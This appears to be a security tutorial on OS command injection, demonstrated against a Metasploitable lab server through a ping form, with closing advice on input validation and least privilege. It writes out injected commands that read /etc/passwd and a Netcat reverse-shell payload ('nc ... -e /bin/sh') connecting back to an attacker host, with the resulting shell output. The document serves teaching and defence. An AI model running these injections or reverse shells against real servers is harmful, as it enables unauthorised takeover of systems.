Command injection is a technique used by hackers to execute system commands on a server, usually via a web application or some kind of GUI. This can happen when an application provides some sort of functionality to the user involving the use of system commands. When the input is not properly sanitized, commands not originally intended to be run are allowed to be executed.
Since the application basically acts as an impromptu shell of sorts, this type of attack can lead to disastrous consequences. Depending on the level of privilege the application has, an attacker can do anything, including viewing configuration files, modifying or deleting data, or even getting a shell or creating a backdoor.
It is important to note the difference between code injection and command injection. In code injection, an attacker inserts custom code that is then executed by the application or program, whereas command injection takes advantage of the functionality of the application in which system commands are executed. These concepts are similar, but the fact that command injection builds upon the default behavior of the application often makes it easier to exploit.
We can begin by searching for an appropriate attack vector to exploit. In this example, the site has a function that allows us to ping other domains or IP addresses to test for connectivity. In reality, it would probably be rare to find such a blatant example of this, but you never know (sometimes the lowest-hanging fruit yields the best results). For demonstration purposes, this will work perfectly though.
It's easy enough here to enter the loopback address, or localhost, to test this out. We can see the ping replies, so it appears to be working correctly.
Next, we can try injecting a simple command to see if a vulnerability exists. This particular web server is running Linux, but the same technique can be applied to Windows servers by using Windows commands. We can append a command using && (AND), ; (separator), or | (pipe). Let's try a simple ls first. The injection was successful and the content of the current directory is displayed:
We can also use the command whoami to get the current username:
The uname -a command will print system information such as kernel and operating system:
We can view the contents of /etc/passwd by appending cat /etc/passwd to the command:
So far, all of the commands we've run have been low impact — useful for gathering information about the server but not much else. What if we could get a shell on the system and own it completely? Well, using the popular tool Netcat, we can do precisely that.
Before we jump into popping a shell, it's important to understand the differences between bind shells and reverse shells.
A bind shell is a command shell that is opened on the target system, essentially binding itself to a specific port. The attacking system then connects to that listening port and an interactive session is initiated. Bind shells aren't used very often today because any active firewall will block incoming connections to some random port.
A reverse shell, on the other hand, will actively connect back to the attacking machine from the target. In this situation, the attacking device has an open port listening for incoming connections. Since outgoing traffic is less likely to be filtered by the firewall, a reverse shell is often the preferred choice.
Netcat is a powerful networking utility used to test TCP or UDP connections. Other features include debugging, port scanning, file transfer, and backdoor capabilities. We can use Netcat to spawn a reverse shell on the web server, provided it is installed, and connect back to our machine yielding complete control over the system.
First, we use the following command on our local system to open up a listener for incoming connections. The usage for Netcat is nc, the -l flag opens a listener, and -p 1234 instructs it to use port 1234, but any random port will work.
nc -l -p 1234
Next, in the web application's ping utility, append the following command to spawn a shell on the server and connect back to our machine:
nc 172.16.1.100 1234 -e /bin/sh
This connects to the IP address 172.16.1.100 on port 1234, and -e /bin/sh executes a shell that is sent back to our system. Now we can try running commands from the comfort of our own terminal. Use whoami to view the current user:
root@drd:~# nc -l -p 1234 whoami www-data
To get system information, use the uname -a command:
root@drd:~# nc -l -p 1234 whoami www-data uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Or, use ps to view current running processes:
root@drd:~# nc -l -p 1234 whoami www-data uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ps PID TTY TIME CMD 4638 ? 00:00:00 apache2 4642 ? 00:00:00 apache2 4644 ? 00:00:00 apache2 4645 ? 00:00:00 apache2 4778 ? 00:00:00 apache2 4783 ? 00:00:00 apache2 4797 ? 00:00:00 sh 4799 ? 00:00:00 nc 4815 ? 00:00:00 apache2 4858 ? 00:00:00 apache2 4864 ? 00:00:00 apache2 4967 ? 00:00:00 apache2 5004 ? 00:00:00 sh 5006 ? 00:00:00 nc 5075 ? 00:00:00 php 5076 ? 00:00:00 sh 5078 ? 00:00:00 sh 5120 ? 00:00:00 ps
From here, we can pivot to other systems on the network, create a backdoor, or knock the server offline entirely. The possibilities are endless now that we have essentially owned the server.
Like many attacks that occur on the web, especially other injection techniques, command injection can be successfully prevented and mitigated by ensuring that proper input validation is in place. By filtering out certain phrases and special characters, or ideally using a whitelisting approach, the likelihood of a damaging attack is reduced.
Secure coding practices and code reviews are becoming increasingly vital to the development process; Limiting what can be exploited from the start is a great way to bolster the overall security posture of an organization and its applications. Likewise, using reliable APIs that provide parameterized input is always a safe bet, as well as running applications with the lowest possible privileges.
Ultimately, though, the best thing to do is omit OS command functionality altogether. In many cases, there is no good reason a web-facing interface needs to interact with system commands at all. By eliminating the vulnerability in the first place, you have essentially defeated an attacker on that front.
Time and time again we've seen how poorly validated input can lead to exploitation, especially when dealing with web applications. Command injection relies on functionality involving OS commands, typically via a web app or GUI. When unintended commands are allowed to be executed on the system, an attacker can own the server and get a shell, as we demonstrated with Netcat. This just goes to show how seemingly harmless implementations can be compromised and exploited.